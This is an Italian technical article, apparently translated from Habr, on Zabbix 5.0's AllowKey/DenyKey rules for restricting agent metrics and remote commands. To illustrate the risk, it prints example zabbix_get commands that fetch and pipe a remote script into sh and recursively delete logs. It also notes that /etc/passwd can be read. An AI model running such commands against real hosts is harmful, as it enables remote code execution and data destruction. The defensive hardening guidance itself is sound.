Supporto per blacklist e whitelist per le metriche lato agente in Zabbix 5.0

Supporto per liste nere e bianche per metriche lato agente

Tikhon Uskov, Ingegnere di integrazione, Zabbix

Problemi di sicurezza dei dati

In Zabbix 5.0 è stata introdotta una nuova funzionalità che migliora la sicurezza nei sistemi che utilizzano Zabbix Agent e sostituisce il vecchio parametro EnableRemoteCommands.

Il miglioramento della sicurezza dei sistemi che utilizzano l'agente è dovuto al fatto che l'agente può eseguire un gran numero di azioni potenzialmente pericolose.

• L'agente può raccogliere praticamente qualsiasi informazione, comprese quelle di natura sensibile o potenzialmente pericolosa, da file di configurazione, file di log, file di password o qualsiasi altro file.

Ad esempio, utilizzando lo strumento zabbix_get, è possibile accedere all'elenco degli utenti, alle loro directory home, file di password, ecc.

Accesso ai dati tramite lo strumento zabbix_get

NOTA. I dati possono essere ottenuti solo se l'agente ha i diritti di lettura sul file corrispondente. Ma, ad esempio, il file /etc/passwd/ è leggibile da tutti gli utenti.

• L'agente può anche eseguire comandi potenzialmente pericolosi. Ad esempio, la chiave *system.run[]** consente di eseguire qualsiasi comando remoto sui nodi della rete, incluso avviare tramite l'interfaccia web di Zabbix script che eseguono anche comandi lato agente.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• In Linux, l'agente viene avviato per impostazione predefinita senza privilegi di root, mentre in Windows viene eseguito come servizio con il nome System e ha accesso illimitato al file system. Di conseguenza, se dopo l'installazione non vengono apportate modifiche alle impostazioni di Zabbix Agent, l'agente ha accesso al registro, al file system e può eseguire richieste WMI.

Nelle versioni precedenti, il parametro EnableRemoteCommands=0 consentiva solo di disattivare le metriche con la chiave *system.run[]** e l'esecuzione di script dall'interfaccia web, ma non c'era la possibilità di limitare l'accesso a singoli file, autorizzare o vietare singole chiavi impostate insieme all'agente, o limitare l'uso di singoli parametri.

L'uso del parametro EnableRemoteCommand nelle versioni precedenti di Zabbix

AllowKey/DenyKey

Zabbix 5.0 aiuta a proteggersi da tale accesso non autorizzato grazie a liste bianche e nere per autorizzare e vietare metriche lato agente.

In Zabbix 5.0 tutte le chiavi, incluso *system.run[]**, sono consentiti e sono stati aggiunti due nuovi parametri di configurazione dell'agente:

AllowKey= — controlli consentiti;

DenyKey= — controlli negati;

dove — il pattern del nome della chiave con parametri, in cui vengono utilizzati i metacaratteri (*).

Le chiavi AllowKey e DenyKey consentono di autorizzare o vietare metriche specifiche secondo un determinato modello. A differenza di altri parametri di configurazione, il numero di parametri AllowKey/DenyKey non è limitato. Questo consente di definire chiaramente cosa l'agente possa fare nel sistema attraverso la creazione di un albero di controlli — chiavi da eseguire, dove l'ordine di scrittura è molto importante.

Sequenza delle regole

Le regole vengono verificate nell'ordine in cui sono inserite nel file di configurazione. La verifica della chiave secondo le regole avviene fino al primo match e, non appena la chiave dell'elemento dati corrisponde al pattern, viene autorizzata o negata. Dopo questo, la verifica delle regole si ferma e le altre chiavi vengono ignorate.

Pertanto, se un elemento corrisponde sia a una regola di autorizzazione che a una di negazione, il risultato dipenderà da quale regola appare per prima nel file di configurazione.

2 regole diverse con lo stesso pattern e chiave vfs.file.size[\/tmp\/file]

Ordine di utilizzo delle chiavi AllowKey/DenyKey:

1. regole specifiche,
2. regole generali,
3. regola di negazione.

Ad esempio, se hai bisogno di accesso a file in una determinata cartella, è necessario prima autorizzare l'accesso a questi file, dopo di che vietare tutto il resto che non rientra nelle autorizzazioni stabilite. Se per prima cosa viene utilizzata una regola di negazione, l'accesso alla cartella sarà negato.

Sequenza corretta

Se è necessario consentire l'esecuzione di 2 utility tramite *system.run[]**, e se per prima cosa viene specificata una regola di negazione, le utility non verranno eseguite, perché il primo pattern corrisponderà sempre a qualsiasi chiave e le regole successive verranno ignorate.

Sequenza errata

Pattern

Regole principali

Il pattern è un'espressione con caratteri jolly (wildcard). Il metacarattere (*) corrisponde a qualsiasi numero di caratteri in una determinata posizione. I metacaratteri possono essere utilizzati sia nel nome della chiave che nei parametri. Ad esempio, è possibile definire rigorosamente il primo parametro con il testo, mentre il successivo può essere indicato come wildcard.

I parametri devono essere racchiusi in parentesi quadre [].

• system.run[* — errato
• vfs.file*.txt] — errato
• vfs.file.*[*] — corretto

Esempi di utilizzo dei caratteri jolly.

1. Nel nome della chiave e nel parametro. In questo caso, la chiave non corrisponde a una chiave analoga che non contiene parametro, poiché nel modello abbiamo specificato che vogliamo ottenere una certa terminazione del nome della chiave e un certo insieme di parametri.
2. Se nel modello non sono utilizzate parentesi quadre, il modello consente tutte le chiavi che non contengono parametri e vieta tutte le chiavi con il parametro specificato.
3. Se la chiave è scritta per intero e i parametri sono specificati come carattere jolly, corrisponderà a qualsiasi chiave analoga con qualsiasi parametro e non corrisponderà a una chiave senza parentesi quadre, cioè sarà consentita o vietata.

Regole di compilazione dei parametri.

• Se si prevede di utilizzare una chiave con parametri, i parametri devono essere specificati nel file di configurazione. I parametri devono essere indicati come metacarattere. È necessario vietare con cautela l'accesso a qualsiasi file e considerare quali informazioni la metrica possa restituire in base a diverse varianti di scrittura — con e senza parametri.

Caratteristiche della scrittura delle chiavi con parametri

• Se la chiave è specificata con parametri, ma i parametri sono facoltativi e indicati come metacarattere, la chiave senza parametri sarà consentita. Ad esempio, se si desidera vietare il recupero di informazioni sul carico della CPU e si indica che la chiave system.cpu.load[*] deve essere vietata, non dimenticate che la chiave senza parametri restituirà il valore medio del carico.

Regole di compilazione dei parametri

Note

Configurazione

• Alcune regole non possono essere modificate dall'utente, ad esempio, le regole di rilevamento (discovery) o l'autoregistrazione degli agenti. Le regole AllowKey/DenyKey non riguardano i seguenti parametri:
  — HostnameItem
  — HostMetadataItem
  — HostInterfaceItem

NOTA. Se l'amministratore vieta una chiave, al momento della richiesta Zabbix non fornisce informazioni sul perché la metrica o la chiave rientrino nella categoria ‘NOTSUPPORTED‘. Nei file di log dell'agente, le informazioni sui divieti di esecuzione di comandi remoti non vengono visualizzate. Questo è stato fatto per motivi di sicurezza, ma può complicare il debug se le metriche rientrano nella categoria non supportata per vari motivi..

• Non ci si deve aspettare un ordine specifico per il caricamento dei file di configurazione esterni (ad esempio in ordine alfabetico).

Utilità da riga di comando

Dopo aver configurato le regole, è necessario assicurarsi che tutto sia impostato correttamente.

È possibile utilizzare uno dei tre metodi:

• Aggiungere una metrica in Zabbix.
• Testare con zabbix_agentd. L'agente Zabbix con l'opzione -print (-p) mostra tutte le chiavi (che sono consentite per impostazione predefinita), ad eccezione di quelle non consentite dalla configurazione. E con l'opzione -test (-t) per una chiave non consentita restituirà ‘Unsupported item key‘.
• Testare con zabbix_get. L'utilità zabbix_get con l'opzione -k restituirà ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Consentire o vietare

Puoi vietare l'accesso al file e assicurarti, ad esempio, con l'utilità zabbix_get, che l'accesso al file è vietato.

**

NOTA. Le virgolette nel parametro vengono ignorate.

Tuttavia, l'accesso a tale file può essere consentito tramite un altro percorso. Ad esempio, se c'è un symlink che ci porta.

È consigliabile controllare diverse opzioni di applicazione delle regole stabilite, oltre a considerare le possibilità di eludere i divieti.

Domande e risposte

Domanda. Perché è stata scelta una tale scheda complessa per descrivere regole, permessi e divieti con il proprio linguaggio? Perché non c'era possibilità di utilizzare, ad esempio, espressioni regolari, come fa Zabbix?

Risposta. È una questione di prestazioni delle regex, poiché di solito c'è solo un agente e controlla un numero enorme di metriche. Le regex sono operazioni piuttosto pesanti e non possiamo controllare migliaia di metriche in questo modo. I wildcards sono una soluzione universale, usata ampiamente e semplice..

Domanda. I file Include non vengono caricati in ordine alfabetico?

Risposta. Per quanto ne so, prevedere l'ordine di applicazione delle regole, se distribuisci le regole su file diversi, è praticamente impossibile. Ti consiglio di raccogliere tutte le regole AllowKey/DenyKey in un solo file Include, poiché interagiscono tra di loro, e collegare quel file..

Domanda. In Zabbix 5.0 l'opzione ‘EnableRemoteCommands=‘ è assente nel file di configurazione e sono disponibili solo AllowKey/DenyKey?

Risposta. Sì, esatto.

Grazie per l'attenzione!

Fonte: habr.com